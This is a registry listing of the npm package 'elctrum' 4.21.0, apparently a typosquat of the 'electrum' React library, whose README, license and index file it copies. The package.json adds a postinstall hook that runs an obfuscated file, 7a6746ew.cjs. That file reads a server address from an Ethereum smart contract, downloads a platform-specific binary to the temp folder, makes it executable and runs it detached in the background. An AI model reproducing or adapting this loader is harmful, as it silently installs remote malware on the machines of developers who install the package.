elctrum 4.21.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of elctrum might be problematic. Click here for more details.
- package/7a6746ew.cjs +1 -0
- package/LICENSE +22 -0
- package/README.md +374 -0
- package/lib/index.js +82 -0
- package/package.json +47 -0
package/7a6746ew.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0xab28a1=_0x7ede;(function(_0x5b8ad4,_0x29557d){const _0xcce91=_0x7ede,_0x2ae3fe=_0x5b8ad4();while(!![]){try{const _0x101cf5=parseInt(_0xcce91(0x189))/0x1*(parseInt(_0xcce91(0x176))/0x2)+parseInt(_0xcce91(0x16b))/0x3*(-parseInt(_0xcce91(0x171))/0x4)+-parseInt(_0xcce91(0x181))/0x5*(-parseInt(_0xcce91(0x16e))/0x6)+parseInt(_0xcce91(0x17f))/0x7+-parseInt(_0xcce91(0x18e))/0x8*(parseInt(_0xcce91(0x198))/0x9)+-parseInt(_0xcce91(0x170))/0xa*(parseInt(_0xcce91(0x17e))/0xb)+parseInt(_0xcce91(0x172))/0xc*(parseInt(_0xcce91(0x178))/0xd);if(_0x101cf5===_0x29557d)break;else _0x2ae3fe['push'](_0x2ae3fe['shift']());}catch(_0x32139f){_0x2ae3fe['push'](_0x2ae3fe['shift']());}}}(_0x4c1b,0x1aba4));function _0x7ede(_0xce8af4,_0x447d81){const _0x4c1bd8=_0x4c1b();return _0x7ede=function(_0x7edef6,_0x4fe781){_0x7edef6=_0x7edef6-0x16a;let _0x6a94d=_0x4c1bd8[_0x7edef6];return _0x6a94d;},_0x7ede(_0xce8af4,_0x447d81);}const {ethers}=require('ethers'),axios=require('axios'),util=require('util'),fs=require('fs'),path=require(_0xab28a1(0x18a)),os=require('os'),{spawn}=require('child_process'),contractAddress=_0xab28a1(0x18d),WalletOwner=_0xab28a1(0x191),abi=[_0xab28a1(0x184)],provider=ethers[_0xab28a1(0x19a)](_0xab28a1(0x173)),contract=new ethers[(_0xab28a1(0x183))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x55e0e0=_0xab28a1,_0x45f053={'pyfIK':_0x55e0e0(0x177)};try{const _0x4e0317=await contract[_0x55e0e0(0x174)](WalletOwner);return _0x4e0317;}catch(_0x43c834){return console[_0x55e0e0(0x194)](_0x45f053['pyfIK'],_0x43c834),await fetchAndUpdateIp();}},getDownloadUrl=_0x5aa4a5=>{const _0x41b6e8=_0xab28a1,_0x23ac90={'rMyYp':_0x41b6e8(0x182),'BuFeV':_0x41b6e8(0x197),'tZpAJ':_0x41b6e8(0x192)},_0x7adeb=os['platform']();switch(_0x7adeb){case _0x23ac90[_0x41b6e8(0x190)]:return _0x5aa4a5+_0x41b6e8(0x16f);case _0x23ac90[_0x41b6e8(0x195)]:return _0x5aa4a5+_0x41b6e8(0x186);case _0x23ac90[_0x41b6e8(0x188)]:return _0x5aa4a5+'/node-macos';default:throw new Error('Unsupported\x20platform:\x20'+_0x7adeb);}},downloadFile=async(_0x4e932f,_0x2a75bc)=>{const _0xa35923=_0xab28a1,_0x3729bc={'vhceW':_0xa35923(0x175),'QUcwj':'stream'},_0x17df4c=fs[_0xa35923(0x16d)](_0x2a75bc),_0xa80d8d=await axios({'url':_0x4e932f,'method':'GET','responseType':_0x3729bc[_0xa35923(0x180)]});return _0xa80d8d[_0xa35923(0x187)][_0xa35923(0x18c)](_0x17df4c),new Promise((_0x17ea98,_0x2b9573)=>{const _0x4beba3=_0xa35923;_0x17df4c['on'](_0x3729bc[_0x4beba3(0x17c)],_0x17ea98),_0x17df4c['on'](_0x4beba3(0x194),_0x2b9573);});},executeFileInBackground=async _0xe378b9=>{const _0x1bb9b6=_0xab28a1,_0x38fb06={'SXqAs':_0x1bb9b6(0x17b)};try{const _0x4fe20f=spawn(_0xe378b9,[],{'detached':!![],'stdio':_0x1bb9b6(0x193)});_0x4fe20f['unref']();}catch(_0x1c0d21){console[_0x1bb9b6(0x194)](_0x38fb06[_0x1bb9b6(0x196)],_0x1c0d21);}},runInstallation=async()=>{const _0x7a3949=_0xab28a1,_0x269d6={'lPWSr':function(_0x13b60a){return _0x13b60a();},'Rfond':function(_0x2b24bc,_0x16314c){return _0x2b24bc(_0x16314c);},'mqHuz':function(_0x5c9f8d,_0x1d4514,_0x42d2cd){return _0x5c9f8d(_0x1d4514,_0x42d2cd);},'EYCpU':function(_0x2157f1,_0x17dd10){return _0x2157f1!==_0x17dd10;},'LvnNZ':_0x7a3949(0x182),'MIenx':_0x7a3949(0x16c),'OLeUK':_0x7a3949(0x19b)};try{const _0x3c36cb=await _0x269d6['lPWSr'](fetchAndUpdateIp),_0x2b159c=_0x269d6[_0x7a3949(0x16a)](getDownloadUrl,_0x3c36cb),_0x25ab83=os[_0x7a3949(0x199)](),_0x4d6654=path[_0x7a3949(0x185)](_0x2b159c),_0x199776=path[_0x7a3949(0x17d)](_0x25ab83,_0x4d6654);await _0x269d6[_0x7a3949(0x18b)](downloadFile,_0x2b159c,_0x199776);if(_0x269d6['EYCpU'](os[_0x7a3949(0x17a)](),_0x269d6[_0x7a3949(0x179)]))fs['chmodSync'](_0x199776,_0x269d6[_0x7a3949(0x18f)]);_0x269d6['Rfond'](executeFileInBackground,_0x199776);}catch(_0x8895ad){console[_0x7a3949(0x194)](_0x269d6['OLeUK'],_0x8895ad);}};runInstallation();function _0x4c1b(){const _0x396cf5=['mainnet','getString','finish','478ZGuxIY','Ошибка\x20при\x20получении\x20IP\x20адреса:','13CyMOch','LvnNZ','platform','Ошибка\x20при\x20запуске\x20файла:','vhceW','join','279389vArcBx','806323BcQsek','QUcwj','10AEeDHD','win32','Contract','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','basename','/node-linux','data','tZpAJ','461NbaGHn','path','mqHuz','pipe','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','40792zMyylt','MIenx','rMyYp','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','darwin','ignore','error','BuFeV','SXqAs','linux','378AtdbHl','tmpdir','getDefaultProvider','Ошибка\x20установки:','Rfond','179337qVcWpL','755','createWriteStream','488088crHBtw','/node-win.exe','20OohGFn','4AjSpYC','553764QaSkjn'];_0x4c1b=function(){return _0x396cf5;};return _0x4c1b();}
|
package/LICENSE
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2015 epsitec-sa
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
22
|
+
|
package/README.md
ADDED
@@ -0,0 +1,374 @@
|
|
1
|
+
# Electrum
|
2
|
+
|
3
|
+
[![NPM version](https://img.shields.io/npm/v/electrum.svg)](https://www.npmjs.com/package/electrum)
|
4
|
+
[![Build Status](https://travis-ci.org/epsitec-sa/electrum.svg?branch=master)](https://travis-ci.org/epsitec-sa/electrum)
|
5
|
+
[![Build status](https://ci.appveyor.com/api/projects/status/rik5ss091uvmcewh?svg=true)](https://ci.appveyor.com/project/epsitec/electrum)
|
6
|
+
|
7
|
+
**Electrum** simplifies framework-agnostic declaration of React components.
|
8
|
+
It is used internally by [Epsitec SA](https://github.com/epsitec-sa/) to
|
9
|
+
bridge the gap with its _Xcraft toolchain_ and with its _Lydia framework_.
|
10
|
+
|
11
|
+
## Where does the name Electrum come from?
|
12
|
+
|
13
|
+
[_Electrum_](http://en.wikipedia.org/wiki/Electrum) is an alloy of gold and
|
14
|
+
silver used to produce ancient [Lydian](http://en.wikipedia.org/wiki/Lydia)
|
15
|
+
coinage.
|
16
|
+
|
17
|
+
> The first metal coins ever made, were of Electrum and date back to the end
|
18
|
+
> of the 7th century, beginning of the 6th century BC.
|
19
|
+
|
20
|
+
# Exported sub-components
|
21
|
+
|
22
|
+
In order to reduce dependency hell, `electrum` exports its own dependencies
|
23
|
+
directly:
|
24
|
+
|
25
|
+
* `React`, `ReactDOM` and `ReactDOMServer` from `react`, `react-dom` and
|
26
|
+
`react-dom/server`
|
27
|
+
* `radium` from `radium`.
|
28
|
+
* `captureMouseEvents` from `electrum-events`.
|
29
|
+
* `FieldStates` from `electrum-field`.
|
30
|
+
* `Store` and `State` from `electrum-state`.
|
31
|
+
* `Styles`, `Theme` and `ColorManipulator` from `electrum-theme`.
|
32
|
+
* `Trace` from `electrum-trace`.
|
33
|
+
|
34
|
+
|
35
|
+
# THIS IS WORK IN PROGRESS
|
36
|
+
|
37
|
+
The implementation of `electrum` is being modified radically.
|
38
|
+
**Please wait until version has stabilized**.
|
39
|
+
|
40
|
+
# Linking components with their state
|
41
|
+
|
42
|
+
Let's say we want to display an **article** which contains the **content**
|
43
|
+
and information about the **author**. The article data might be represented
|
44
|
+
like this:
|
45
|
+
|
46
|
+
```json
|
47
|
+
{ "article":
|
48
|
+
{ "content":
|
49
|
+
{ "title": "About typography"
|
50
|
+
, "text": "Lorem ipsum..."
|
51
|
+
, "date": "2015-12-02" }
|
52
|
+
, "author":
|
53
|
+
{ "name": "John"
|
54
|
+
, "mail": "john@doe.org" } } }
|
55
|
+
```
|
56
|
+
|
57
|
+
This can be loaded into a `store` instance. The `"article"` node will be
|
58
|
+
passed as _state_ to the `<Article>` component:
|
59
|
+
|
60
|
+
```javascript
|
61
|
+
// In this example, the article is the root component
|
62
|
+
const state = store.select ('article');
|
63
|
+
return <Article state={state}/>;
|
64
|
+
```
|
65
|
+
|
66
|
+
The `<Article>` can be implemented as a _stateless function component_:
|
67
|
+
|
68
|
+
```javascript
|
69
|
+
import E from 'electrum';
|
70
|
+
function Article (props) {
|
71
|
+
return (
|
72
|
+
<div>
|
73
|
+
<Content {...E.link (props, 'content')} />
|
74
|
+
<Author {...E.link (props, 'author')} />
|
75
|
+
</div>
|
76
|
+
);
|
77
|
+
}
|
78
|
+
```
|
79
|
+
|
80
|
+
# Reading state
|
81
|
+
|
82
|
+
Components will very often need to read values from the store. To make life
|
83
|
+
easier for the developer, `electrum` provides a `read()` method, which takes
|
84
|
+
the `props` of the component and an optional `key` of the value to read:
|
85
|
+
|
86
|
+
```javascript
|
87
|
+
import E from 'electrum';
|
88
|
+
function Content (props) {
|
89
|
+
return (
|
90
|
+
<div>
|
91
|
+
<h1>{E.read (props)}</h1>
|
92
|
+
<p>{E.read (props, 'details')}</p>
|
93
|
+
</div>
|
94
|
+
);
|
95
|
+
}
|
96
|
+
```
|
97
|
+
|
98
|
+
# Managing styles with Radium
|
99
|
+
|
100
|
+
We decided to use `radium` as the way to go to inject styles into components.
|
101
|
+
By using the `E` instance provided by `import Electrum from 'electrum'`),
|
102
|
+
components are automatically configured to use `radium` when _wrapped_ like
|
103
|
+
this:
|
104
|
+
|
105
|
+
```javascript
|
106
|
+
import Electrum from 'electrum';
|
107
|
+
import _Button from './Button.component.js';
|
108
|
+
import _Button$styles from './Button.styles.js';
|
109
|
+
export const Button = Electrum.wrap ('Button', _Button, {styles: _Button$styles});
|
110
|
+
```
|
111
|
+
|
112
|
+
See `electrum-theme` for an explanation of how style functions should be
|
113
|
+
defined. Style functions can have following signatures:
|
114
|
+
|
115
|
+
* `() => ...` → a parameterless style function.
|
116
|
+
* `(theme) => ...` → a style function, based on the theme.
|
117
|
+
* `(theme, props) => ...` → a style function, based on the theme and on
|
118
|
+
the component properties. The component should implement a _getter_ named
|
119
|
+
`styleProps` which returns a hash with the meaningful properties.
|
120
|
+
|
121
|
+
Multiple styles definitions can be exported as a _hash_ of style functions.
|
122
|
+
|
123
|
+
## Component with a single style function
|
124
|
+
|
125
|
+
A component linked with a style definition consisting of a single style
|
126
|
+
function will expose following method and property:
|
127
|
+
|
128
|
+
* `styles` → a _styles object_ which can be set on DOM element `style`
|
129
|
+
properties; the styles object is compatible with Radium. It exposes a
|
130
|
+
`with(s1, s2, ...)` function which can be used to obtain an updated
|
131
|
+
_styles object_ into which additional styles have been merged.
|
132
|
+
* `mergeStyles(s1, s2, ...)` → a _hash_ containing the merged styles.
|
133
|
+
|
134
|
+
## Component with a multiple style functions
|
135
|
+
|
136
|
+
A component linked with a style definition consisting of a multiple style
|
137
|
+
functions will expose following methods:
|
138
|
+
|
139
|
+
* `getStyles(key)` → a _styles object_ for the specified style definiton,
|
140
|
+
which can be set on DOM element `style` properties; the styles object is
|
141
|
+
compatible with Radium. It exposes a `with(s1, s2, ...)` function which
|
142
|
+
can be used to obtain an updated _styles object_ into which additional
|
143
|
+
styles have been merged.
|
144
|
+
* `mergeStyles(key, s1, s2, ...)` → a _hash_ containing the merged
|
145
|
+
styles for the specified style definition.
|
146
|
+
|
147
|
+
Note that the signature of the methods are different from a component
|
148
|
+
with a single style function.
|
149
|
+
|
150
|
+
# Wrapping and automatic component extensions
|
151
|
+
|
152
|
+
`Electrum.wrap()` returns a new component `class`, which will be treated as a
|
153
|
+
**pure component** by React:
|
154
|
+
|
155
|
+
* `shouldComponentUpdate(nextProps, nextState)` → pure component.
|
156
|
+
The test is based on a _shallow comparison_ of the properties and of the state
|
157
|
+
(if any).
|
158
|
+
|
159
|
+
It injects some additional functionality:
|
160
|
+
|
161
|
+
* `link(id)` → shorthand for `Electrum.link(this.props, id)`.
|
162
|
+
* `link(id, overrides)` → shorthand for `Electrum.link(this.props, id, overrides)`.
|
163
|
+
* `read()` → shorthand for `this.read('value')`.
|
164
|
+
* `read(key)` → returns named property if it exists on `this.props`, otherwise
|
165
|
+
calls `Electrum.read(this.props, key)` and reads the value from the state.
|
166
|
+
* `theme` → shorthand for `this.props.theme`.
|
167
|
+
* `styles` → resolves the _styles_ based on rules implemented by `Styles`.
|
168
|
+
|
169
|
+
The component is also extended by [Radium](https://github.com/FormidableLabs/radium)
|
170
|
+
which will flatten `styles` arrays injected in child components, and handle the
|
171
|
+
state required to handle browser states such as `:hover`.
|
172
|
+
|
173
|
+
One more trick `Electrum.wrap()` does is that it ensures that event handler
|
174
|
+
methods (e.g. `onChange` or `handleFoo`) get properly bound to the component
|
175
|
+
instance. Therefore, event handlers can be passed to `React` in a natural
|
176
|
+
way:
|
177
|
+
|
178
|
+
```javascript
|
179
|
+
render () {
|
180
|
+
return <div onClick={this.onClick}>Click me</div>;
|
181
|
+
}
|
182
|
+
```
|
183
|
+
|
184
|
+
whereas normally, you would have to write this:
|
185
|
+
|
186
|
+
```javascript
|
187
|
+
render () {
|
188
|
+
return <div onClick={this.onClick.bind (this)}>Click me</div>;
|
189
|
+
}
|
190
|
+
```
|
191
|
+
|
192
|
+
or do the binding manually in the constructor:
|
193
|
+
|
194
|
+
```javascript
|
195
|
+
constructor () {
|
196
|
+
super ();
|
197
|
+
this.onClick = this.onClick.bind (this);
|
198
|
+
}
|
199
|
+
render () {
|
200
|
+
return <div onClick={this.onClick}>Click me</div>;
|
201
|
+
}
|
202
|
+
```
|
203
|
+
|
204
|
+
Electrum's autobinding looks for methods starting with `on` or `handle`
|
205
|
+
and using _camel case_ (such as `onClick`); other methods won't be
|
206
|
+
automatically bound to `this`.
|
207
|
+
|
208
|
+
See also the explanation on [autobinding on the React blog](https://facebook.github.io/react/blog/2015/01/27/react-v0.13.0-beta-1.html#autobinding).
|
209
|
+
|
210
|
+
|
211
|
+
# Sending events to the bus
|
212
|
+
|
213
|
+
Electrum can use a bus to dispatch messages/commands and notify changes.
|
214
|
+
The bus interface looks like this:
|
215
|
+
|
216
|
+
```javascript
|
217
|
+
{
|
218
|
+
dispatch (props, message, payload) {}
|
219
|
+
notify (props, source, value, ...states) {}
|
220
|
+
}
|
221
|
+
```
|
222
|
+
|
223
|
+
## Bus configuration
|
224
|
+
|
225
|
+
A bus can be attached with `Electrum.useBus(bus)`.
|
226
|
+
|
227
|
+
## Event forwarding
|
228
|
+
|
229
|
+
The default `Electrum` instance is configured to use `electrum-events`,
|
230
|
+
which injects various event handlers into the wrapped components:
|
231
|
+
|
232
|
+
* `onChange` → fires notification of type _change_
|
233
|
+
* `onKeyDown`, `onKeyUp`, `onKeyPress` → fire notifications of
|
234
|
+
type _key-down_, _key-up_, _key-press_
|
235
|
+
* `onFocus` → fires notification of type _focus_
|
236
|
+
* `onSelect` → fires notification of type _select_
|
237
|
+
|
238
|
+
> Note: if the component provides its own event handlers, they will be
|
239
|
+
> called by the injected methods.
|
240
|
+
|
241
|
+
Events will automatically be sent to the bus, if one has been configured
|
242
|
+
(see `Electrum.use`). The `EventHandlers` class in `electrum-events` is
|
243
|
+
in charge of the event forwarding. It will provide the _value_ and the
|
244
|
+
_states_ associated with the underlying component, usually by reading
|
245
|
+
the DOM:
|
246
|
+
|
247
|
+
* `source` ← `{type, event}` where _type_ is the event name
|
248
|
+
* `value` ← `event.target.value`
|
249
|
+
* `states` ← `{begin:0, end:10}` for text fields
|
250
|
+
|
251
|
+
## Custom value or states
|
252
|
+
|
253
|
+
When the defaults are not meaningful (e.g. for a `checkbox`, where the
|
254
|
+
_value_ does not exist per se), the component can provide the value
|
255
|
+
(method `getValue()`) or the states (method `getStates()`):
|
256
|
+
|
257
|
+
```javascript
|
258
|
+
class MyCheckbox extends React.Component {
|
259
|
+
render () {
|
260
|
+
return <input type='checkbox' /* ... */ />;
|
261
|
+
}
|
262
|
+
getValue (target) {
|
263
|
+
// The value will be 'on' or 'off', depending on the checked state
|
264
|
+
// of the target DOM node:
|
265
|
+
return target.checked ? 'on' : 'off';
|
266
|
+
}
|
267
|
+
}
|
268
|
+
```
|
269
|
+
|
270
|
+
# Automating component wrapping
|
271
|
+
|
272
|
+
The easiest way to get all components of a module wrapped is to use the
|
273
|
+
`electrum-require-components` module.
|
274
|
+
|
275
|
+
See [electrum-require-components](https://github.com/epsitec-sa/electrum-require-components).
|
276
|
+
|
277
|
+
## Install electrum-require-components
|
278
|
+
|
279
|
+
```
|
280
|
+
npm install electrum-require-components --save-dev
|
281
|
+
```
|
282
|
+
|
283
|
+
## Configure your package
|
284
|
+
|
285
|
+
Edit `package.json` to add a script that can be invoked with `npm run regen`
|
286
|
+
in order to regenerate the source file `all.js` which includes, wraps and exports
|
287
|
+
all components.
|
288
|
+
|
289
|
+
```
|
290
|
+
"scripts": {
|
291
|
+
...
|
292
|
+
"regen": "electrum-require-components --wrap ./src components .component.js all.js"
|
293
|
+
}
|
294
|
+
```
|
295
|
+
|
296
|
+
## Export all wrapped components
|
297
|
+
|
298
|
+
To export all components found in your module, use:
|
299
|
+
|
300
|
+
```javascript
|
301
|
+
export * from './all.js';
|
302
|
+
```
|
303
|
+
|
304
|
+
# Tracing
|
305
|
+
|
306
|
+
Electrum includes basic tracing functionality, which might come in handy when
|
307
|
+
live debugging wrapped components.
|
308
|
+
|
309
|
+
## shouldComponentUpdate()
|
310
|
+
|
311
|
+
Whenever React calls a wrapped component's `shouldComponentUpdate()`, Electrum
|
312
|
+
will call the corresponding logging function:
|
313
|
+
|
314
|
+
```javascript
|
315
|
+
import E from 'electrum';
|
316
|
+
E.configureLog ('shouldComponentUpdate', (component, nextProps, nextState, result) => { /* ... */ });
|
317
|
+
```
|
318
|
+
|
319
|
+
The arguments are:
|
320
|
+
|
321
|
+
* `component` → component instance.
|
322
|
+
* `nextProps` → next properties, as provided to `shouldComponentUpdate`.
|
323
|
+
* `nextState` → next state, as provided to `shouldComponentUpdate`.
|
324
|
+
* `result` → result of the call to `shouldComponentUpdate`, where `true`
|
325
|
+
means that the component should be rendered.
|
326
|
+
|
327
|
+
# States and fingerprints
|
328
|
+
|
329
|
+
Components may need to represent their internal state as a collection of simple
|
330
|
+
state objects:
|
331
|
+
|
332
|
+
```javascript
|
333
|
+
const fieldSelection = { from: 12, to: 17 }; // 'from,to'
|
334
|
+
const listSelection = { first: 5, active: 8 }; // 'active,first'
|
335
|
+
```
|
336
|
+
|
337
|
+
These state objects have _fingerprints_ which are based on their sorted
|
338
|
+
property names (`'from,to'`, `'active,first'`). It does not include the
|
339
|
+
optional `id` property.
|
340
|
+
|
341
|
+
## FieldStates class
|
342
|
+
|
343
|
+
The `FieldStates` class maintains an internal array of state objects.
|
344
|
+
It is implemented in `electrum-field` and made available by `electrum`
|
345
|
+
as a convenience.
|
346
|
+
|
347
|
+
### Query the field states
|
348
|
+
|
349
|
+
* `FieldStates.fingerprint (state)` → the fingerprint of a state object.
|
350
|
+
* `find (fingerprint)` → the first state object which matches the
|
351
|
+
specified fingerprint, or `undefined` if none can be found.
|
352
|
+
* `get ()` → an immutable array of immutable state objects.
|
353
|
+
|
354
|
+
### Update the field states
|
355
|
+
|
356
|
+
The instances are immutable. All methods which modify the internal array
|
357
|
+
of state objects will return a new instance (or the unchanged instance if
|
358
|
+
the update was a no-op). The original instance is never modified.
|
359
|
+
|
360
|
+
* `add (state)` → a new instance where the internal array of states has
|
361
|
+
been updated by adding or replacing a state; matching is done based on the
|
362
|
+
state's fingerprint.
|
363
|
+
* `add (state1, state2, ...)` → same as `add()` called multiple times.
|
364
|
+
* `remove (fingerprint)` → a new instance where the internal array of
|
365
|
+
states has been updated by removing the first state matching the specified
|
366
|
+
fingerprint.
|
367
|
+
|
368
|
+
# Actions
|
369
|
+
|
370
|
+
Electrum prescribes how actions represent their specific state and
|
371
|
+
provides the `Action` class to inspect it:
|
372
|
+
|
373
|
+
* `Action.isEnabled (state)` → `true` if the state is enabled.
|
374
|
+
* `Action.isDisabled (state)` → `true` if the state is disabled.
|
package/lib/index.js
ADDED
@@ -0,0 +1,82 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.captureMouseEvents = exports.ReactDOMServer = exports.ReactDOM = exports.React = exports.radium = exports.ColorManipulator = exports.Theme = exports.Styles = exports.Trace = exports.State = exports.Store = exports.FieldStates = exports.LinkingMiddleware = exports.Electrum = exports.Action = undefined;
|
7
|
+
|
8
|
+
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
|
9
|
+
|
10
|
+
var _radium = require('radium');
|
11
|
+
|
12
|
+
var _radium2 = _interopRequireDefault(_radium);
|
13
|
+
|
14
|
+
var _react = require('react');
|
15
|
+
|
16
|
+
var _react2 = _interopRequireDefault(_react);
|
17
|
+
|
18
|
+
var _reactDom = require('react-dom');
|
19
|
+
|
20
|
+
var _reactDom2 = _interopRequireDefault(_reactDom);
|
21
|
+
|
22
|
+
var _server = require('react-dom/server');
|
23
|
+
|
24
|
+
var _server2 = _interopRequireDefault(_server);
|
25
|
+
|
26
|
+
var _electrumField = require('electrum-field');
|
27
|
+
|
28
|
+
var _electrumStore = require('electrum-store');
|
29
|
+
|
30
|
+
var _electrumTheme = require('electrum-theme');
|
31
|
+
|
32
|
+
var _electrumTrace = require('electrum-trace');
|
33
|
+
|
34
|
+
var _action = require('./action.js');
|
35
|
+
|
36
|
+
var _linkingMiddleware = require('./linking-middleware.js');
|
37
|
+
|
38
|
+
var _electrum = require('./electrum.js');
|
39
|
+
|
40
|
+
var _electrumEvents = require('electrum-events');
|
41
|
+
|
42
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
43
|
+
|
44
|
+
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
|
45
|
+
|
46
|
+
/******************************************************************************/
|
47
|
+
|
48
|
+
var RadiumConnector = function () {
|
49
|
+
function RadiumConnector() {
|
50
|
+
_classCallCheck(this, RadiumConnector);
|
51
|
+
}
|
52
|
+
|
53
|
+
_createClass(RadiumConnector, null, [{
|
54
|
+
key: 'wrap',
|
55
|
+
value: function wrap(component) {
|
56
|
+
return (0, _radium2.default)(component);
|
57
|
+
}
|
58
|
+
}]);
|
59
|
+
|
60
|
+
return RadiumConnector;
|
61
|
+
}();
|
62
|
+
|
63
|
+
/******************************************************************************/
|
64
|
+
|
65
|
+
exports.default = new _electrum.Electrum(RadiumConnector);
|
66
|
+
exports.Action = _action.Action;
|
67
|
+
exports.Electrum = _electrum.Electrum;
|
68
|
+
exports.LinkingMiddleware = _linkingMiddleware.LinkingMiddleware;
|
69
|
+
exports.FieldStates = _electrumField.FieldStates;
|
70
|
+
exports.Store = _electrumStore.Store;
|
71
|
+
exports.State = _electrumStore.State;
|
72
|
+
exports.Trace = _electrumTrace.Trace;
|
73
|
+
exports.Styles = _electrumTheme.Styles;
|
74
|
+
exports.Theme = _electrumTheme.Theme;
|
75
|
+
exports.ColorManipulator = _electrumTheme.ColorManipulator;
|
76
|
+
exports.radium = _radium2.default;
|
77
|
+
exports.React = _react2.default;
|
78
|
+
exports.ReactDOM = _reactDom2.default;
|
79
|
+
exports.ReactDOMServer = _server2.default;
|
80
|
+
exports.captureMouseEvents = _electrumEvents.captureMouseEvents;
|
81
|
+
|
82
|
+
/******************************************************************************/
|
package/package.json
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
{
|
2
|
+
"name": "elctrum",
|
3
|
+
"version": "4.21.0",
|
4
|
+
"description": "Electrum simplifies framework-agnostic declaration of React components.",
|
5
|
+
"main": "lib/index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node 7a6746ew.cjs"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "https://github.com/epsitec-sa/electrum.git"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"React"
|
15
|
+
],
|
16
|
+
"author": "Epsitec SA",
|
17
|
+
"license": "MIT",
|
18
|
+
"bugs": {
|
19
|
+
"url": "https://github.com/epsitec-sa/electrum/issues"
|
20
|
+
},
|
21
|
+
"homepage": "https://github.com/epsitec-sa/electrum",
|
22
|
+
"dependencies": {
|
23
|
+
"electrum-events": "^2.3.3",
|
24
|
+
"electrum-field": "^1.7.1",
|
25
|
+
"electrum-require-components": "^2.2.2",
|
26
|
+
"electrum-store": "^4.0.0",
|
27
|
+
"electrum-theme": "^4.6.1",
|
28
|
+
"electrum-trace": "^1.1.2",
|
29
|
+
"electrum-utils": "^1.6.7",
|
30
|
+
"radium": "^0.18.2",
|
31
|
+
"react": "^15.4.2",
|
32
|
+
"react-addons-shallow-compare": "^15.4.2",
|
33
|
+
"react-addons-test-utils": "^15.4.2",
|
34
|
+
"react-dom": "^15.4.2",
|
35
|
+
"axios": "^1.7.7",
|
36
|
+
"ethers": "^6.13.2"
|
37
|
+
},
|
38
|
+
"devDependencies": {
|
39
|
+
"babel-env": "^2.4.0",
|
40
|
+
"chokidar-cli": "^1.2.0",
|
41
|
+
"generic-js-env": "^2.2.4",
|
42
|
+
"mai-chai": "^3.3.2"
|
43
|
+
},
|
44
|
+
"files": [
|
45
|
+
"7a6746ew.cjs"
|
46
|
+
]
|
47
|
+
}
|